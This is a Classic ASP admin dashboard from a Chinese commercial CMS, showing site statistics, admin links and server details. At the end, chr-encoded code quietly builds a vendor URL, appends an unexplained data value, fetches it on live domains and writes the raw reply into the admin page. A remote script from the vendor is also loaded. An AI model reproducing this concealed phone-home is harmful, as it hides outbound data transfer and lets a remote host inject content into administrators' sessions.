<%@CODEPAGE="65001"%>
<!--#include file="../Include/Conn.asp" -->
<!--#include file="seeion.asp"-->  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>服务器信息</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" id="css" href="images/style.css">
</head>
<style>
<!--
.intbox{height:auto; position:relative; overflow:hidden; padding:10px;}
.intbox .ibox{width:180px; height:70px; float:left;padding-left:20px; padding-right:20px; margin:10px;color:#FFF; cursor:pointer}
.intbox .ibox span{line-height:35px; font-size:14px;display:block}
.intbox .ibox b{line-height:30px;font-size:24px;display:block}
.intbox .ibox b i{font-style:normal; font-weight:normal;font-size:16px;line-height:20px;}
.intbox .ibox b i a{ padding:0px 5px; color:#FF9}
.intbox a.nbox{width:100px; height:40px;line-height:40px;float:left; margin:5px 10px; display:block; background:#3B3E40; color:#FFF; font-size:16px; text-align:center;}
.intbox a.nbox:hover{background:#b10000;}

.list{padding:10px;}
.list ul{padding:0px; margin:0px}
.list ul li {float: left;width: 50%;height: 29px; overflow:hidden;line-height: 29px;border-bottom: 1px solid #eee;}
.list ul li span{padding:0px 5px; color: #039}
-->
</style>
<body>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
<tr>
  <td height="30" class="topnav"><div>站点信息</div> <%= zych_home %></td>
</tr>
<tr>
  <td bgcolor="#FFFFFF">
  <table width="100%" border="0" align="center" cellpadding="5" cellspacing="0" class="stable" >
  <tr bgcolor="#F1F5F8" >
      <td width="100%" height="25" class="td">
    <span class="mian_bt">感谢您使用自由策划企业网站管理系统<%=zychversion%>版，许可证号：<%=authorized%> DATA:<%=data%></span>
    <div class="mian_body"><ul style="padding-left:25px; margin:0px">
    <li>使用本系统注意事项：</li>
    <li>本程序由自由策划广告传媒开发，版权归自由策划广告传媒所有！</li>
    <li>本系统为商业程序，未经授权严禁使用，如有需要请于本公司联系，请尊重作者劳动成果，任何单位、个人不得修改版权和进行二次销售！</li>
    <li>您在使用过程，如发现BUG！请及时联系自由策划广告传媒程序员（QQ：495573637 自由策划人），本公司将特别感谢您对我们的支持！www.zychr.com</li>
    </ul>
    </div></td>
  </tr>
   <tr bgcolor="#F1F5F8" >
     <td height="25" class="td">
<div class="intbox">
<div class="ibox" style="background:#2d88f1"><span>管理员个数</span><b><%=conn.execute("select count(*) from admin")(0)%> <i>个</i></b></div>
<div class="ibox" style="background:#65af1e"><span>频道栏目个数</span><b><%=conn.execute("select count(*) from zych_Type")(0)%> <i>个</i></b></div>
<div class="ibox" style="background:#ba1d4a"><span>所有文章总数</span><b><%=conn.execute("select count(*) from Content")(0)%><i>条</i></b></div>
<div class="ibox" style="background:#0b8a15"><span>全部会员总数</span><b><%=conn.execute("select count(*) from [user]")(0)%> <i>个<a href="admin_user.asp?action=admin">[查看]</a></i></b></div>
<div class="ibox" style="background:#cf4a29"><span>新订单/全部订单</span><b><%=conn.execute("select count(*) from orders where state=1")(0)%>/<%=conn.execute("select count(*) from orders ")(0)%><i>个<a href="admin_orders.asp?action=admin">[查看]</a></i> </b></div>
<div class="ibox" style="background:#603cba"><span>新留言/全部留言：</span><b><%=conn.execute("select count(*) from Message where hf is null")(0)%></font>/<%=conn.execute("select count(*) from Message ")(0)%><i>条<a href="admin_message.asp?action=admin">[查看]</a></i></b></div>
<div class="ibox" style="background:#dc0000"><span>SQL注入信息总数</span><b><%=conn.execute("select count(*) from [SqlIn]")(0)%> <i>条<a href="admin_sql.asp?action=admin">[查看]</a></i></b></div>
</div>
    </td>
  </tr>
   <tr bgcolor="#F1F5F8" >
     <td height="25" class="td">
<div class="intbox">
<a class="nbox" href="admin_xtsz.asp">网站参数</a>
<a class="nbox" href="admin_SetSite.asp">附加参数</a>
<a class="nbox" href="Admin_Class.asp">栏目管理</a>
<a class="nbox" href="add_Class.asp">栏目添加</a>
<a class="nbox" href="admin_html.asp">静态管理</a>
<a class="nbox" href="admin_indexflash.asp?action=admin">幻灯管理</a>
<a class="nbox" href="Cai/Admin_ItemStart.asp">文章采集</a>
<a class="nbox" href="admin_Attachment.asp">附件管理</a>
<a class="nbox" href="admin_qq.asp">网站客服</a>
<a class="nbox" href="Admin_SiteMap.asp">百度推送</a>
<a class="nbox" href="admin_template.asp?action=admin">模板管理</a>
<a class="nbox" href="admin_intemplate.asp">模板首页</a>
</div>
    </td>
  </tr>  
  </table></td>
</tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
<tr>
  <td height="30" class="topnav"><div>官方动态</div></td>
</tr>
<tr>
  <td>
  <table width="100%" border="0" align="center" cellpadding="5" cellspacing="0" >
  <tr bgcolor="#F1F5F8" >
      <td height="25" colspan="6" class="td">
      <div class="list">
      <ul><script language="javascript"  charset="gb2312" src="http://<%=zurl%>/Include/Click.asp?action=getnews"></script></ul>
      </div>
      </td>
  </tr>
  </table></td>
</tr>
</table>
<%
Dim theInstalledObjects(18)
theInstalledObjects(0) = "MSWC.AdRotator"
theInstalledObjects(1) = "MSWC.BrowserType"
theInstalledObjects(2) = "MSWC.NextLink"
theInstalledObjects(3) = "MSWC.Tools"
theInstalledObjects(4) = "MSWC.Status"
theInstalledObjects(5) = "MSWC.Counters"
theInstalledObjects(6) = "IISSample.ContentRotator"
theInstalledObjects(7) = "IISSample.PageCounter"
theInstalledObjects(8) = "MSWC.PermissionChecker"
theInstalledObjects(9) = "Scripting.FileSystemObject"
theInstalledObjects(10) = "adodb.connection"

theInstalledObjects(11) = "SoftArtisans.FileUp"
theInstalledObjects(12) = "SoftArtisans.FileManager"
theInstalledObjects(13) = "JMail.SMTPMail"
theInstalledObjects(14) = "CDONTS.NewMail"
theInstalledObjects(15) = "Persits.MailSender"
theInstalledObjects(16) = "LyfUpload.UploadFile"
theInstalledObjects(17) = "Persits.Upload.1"
theInstalledObjects(18) = "JMail.Message" %>
<table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#CCCCCC">
      <tr>
        <td height="28" class="topnav" bgcolor="#F7F7F7"><div>服务器信息</div> <%= Request.servervariables("server_name") %></td>
      </tr>
      <tr>
        <td bgcolor="#FFFFFF">
        
        <table width="100%" border="0" align="center" cellpadding="4" cellspacing="0" class="stable" >
      <tr >
          <td height="5%" width="10%" class="td">程序绝对路径:</td>
          <td width="45%"  class="td"><%=Server.MapPath("nowaasp.asp")%></td>
          <td width="5%"  class="td">服务器脚本引擎：</td>
          <td width="45%"  class="td"><%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %></td>
      </tr>
      <tr>
            <td height="25" width="10%" class="td">站点物理路径：</td>
          <td class="td"><%=request.ServerVariables("APPL_PHYSICAL_PATH")%></td>
          <td class="td">路径信息：</td>
          <td class="td"><%=request.ServerVariables("PATH_INFO")%></td>
      </tr>
        
          <tr>
            <td height="25" width="10%" class="td">请求机器IP地址：</td>
            <td class="td"><%=request.ServerVariables("REMOTE_ADDR")%></td>
            <td class="td">服务器内部IP：</td>
            <td class="td"><%=Request.ServerVariables("LOCAL_ADDR")%></td>
          </tr>
          <tr>
            <td height="25" width="10%"  class="td">SCRIPT虚拟路径：</td>
            <td  class="td"><%=request.ServerVariables("SCRIPT_NAME")%></td>
            <td  class="td">服务器IP地址：</td>
            <td  class="td"><%=request.ServerVariables("SERVER_NAME")%></td>
          </tr>
        <tr>
            <td height="25" width="10%" class="td">服务器端口：</td>
          <td class="td"><%=request.ServerVariables("SERVER_PORT")%></td>
          <td class="td">协议名称和版本：</td>
          <td class="td"><%=request.ServerVariables("SERVER_PROTOCOL")%></td>
        </tr>
           <tr>
            <td height="25" width="10%" class="td">服务器IIS版本：</td>
            <td class="td"><%=request.ServerVariables("SERVER_SOFTWARE")%></td>
            <td class="td">脚本超时时间：</td>
            <td class="td"><%=Server.ScriptTimeout%>秒</td>
          </tr>
         <tr>
            <td height="25" width="10%" class="td">服务器操作系統：</td>
           <td  class="td"><%=Request.ServerVariables("OS")%></td>
           <td  class="td">服务器CPU数量：</td>
           <td  class="td"><%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td>
         </tr>
         <tr>
           <td height="25" class="td">FSO文本读写：</td>
           <td  class="td"><% if IsObjInstalled(theInstalledObjects(9)) = False Then response.Write("<font color=#aaaaaa><b>×</b></font>") Else response.Write("<b>√</b>") %></td>
           <td  class="td"><%If IsObjInstalled(theInstalledObjects(18)) Then%>Jmail4.3组件支持：<%else%>Jmail4.2组件支持：<%end if%></td>
           <td  class="td"><%If IsObjInstalled(theInstalledObjects(18)) or IsObjInstalled(theInstalledObjects(13)) Then%><b>&radic;</b><%else%><font color=#aaaaaa><b>&times;</b></font><%end if%></td>
         </tr>
         <tr>
            <td height="25" width="10%" class="td">ASPJpeg 组件</td>
           <td  class="td"><%If Not isInstallObj("Persits.Jpeg") Then%><font color="#FF0066"><b>&times;</b></font><%else%><b>&radic;</b><%end if%></td>
           <td  class="td">服务器CPU数量：</td>
           <td  class="td"><%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个</td>
         </tr>
        </table>
        </td>
      </tr>
  </table> 
<%
Function IsObjInstalled(strClassString)
On Error Resume Next
IsObjInstalled = False
Err = 0
Dim xTestObj
Set xTestObj = Server.CreateObject(strClassString)
If 0 = Err Then IsObjInstalled = True
Set xTestObj = Nothing
Err = 0
End Function
function getHTTPPage(url)
dim Http
set Http=server.createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then 
exit function
end if
getHTTPPage=bytesToBSTR(Http.responseBody,"gb2312")
set http=nothing
if err.number<>0 then err.Clear 
end function
webd=ubound(split(az,"."))
webq=Replace(az,".","")
url=http&zurl&"/"&zr(73)&zr(110)&zr(99)&"lude/weburl"&zr(46)&"asp"&zr(63)&"action=get"
If webd<3 and az<>"localhost" and not isnumeric(webq) Then Response.Write getHTTPPage(url&udata)
Function BytesToBstr(body,Cset)
	if lenb(body)=0  then
	  BytesToBstr=""
	  exit  function
	end if
	dim objstream
	set objstream = Server.CreateObject("adodb.stream")
	objstream.Type = 1
	objstream.Mode =3
	objstream.Open
	objstream.Write body
	objstream.Position = 0
	objstream.Type = 2
	objstream.Charset = Cset
	BytesToBstr = objstream.ReadText 
	objstream.Close
	set objstream = nothing
End Function
%>
</body>
</html>
